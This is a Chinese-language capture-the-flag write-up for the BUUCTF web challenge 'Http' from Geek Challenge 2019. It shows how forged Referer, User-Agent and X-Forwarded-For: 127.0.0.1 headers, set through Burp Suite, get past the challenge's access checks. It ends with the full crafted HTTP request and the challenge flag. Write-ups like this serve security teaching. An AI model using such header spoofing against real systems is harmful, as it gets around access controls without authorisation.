1. 程式人生 > 其它 >[BUUCTF][WEB][極客大挑戰 2019]Http 1

[BUUCTF][WEB][極客大挑戰 2019]Http 1

開啟靶機提供的url
右鍵檢視網頁原始碼 發現一個連結 (Secret.php),訪問看看

返回:

It doesn't come from 'https://Sycsecret.buuoj.cn'

這是個題眼

通過burpsuite攔截請求,請求頭新增修改
Referer: https://Sycsecret.buuoj.cn
返回改變為
Please use "Syclover" browser
將header 的User-Agent修改為 Syclover
返回訊息
No!!! you can only read this locally!!!
這是限制了檔案訪問的源地址,可用通過X-Forwarded-For引數來偽造訪問的源地址,這裡可以修改為127.0.0.1或localhost
X-Forwarded-For: 127.0.0.1
boom

得到 flag{6a9a6eb5-b426-4801-a60b-80758db822d9}
最終請求頭(X-Forwarded-For 放最後一行報400,原因未知)

GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:29872
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://Sycsecret.buuoj.cn
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1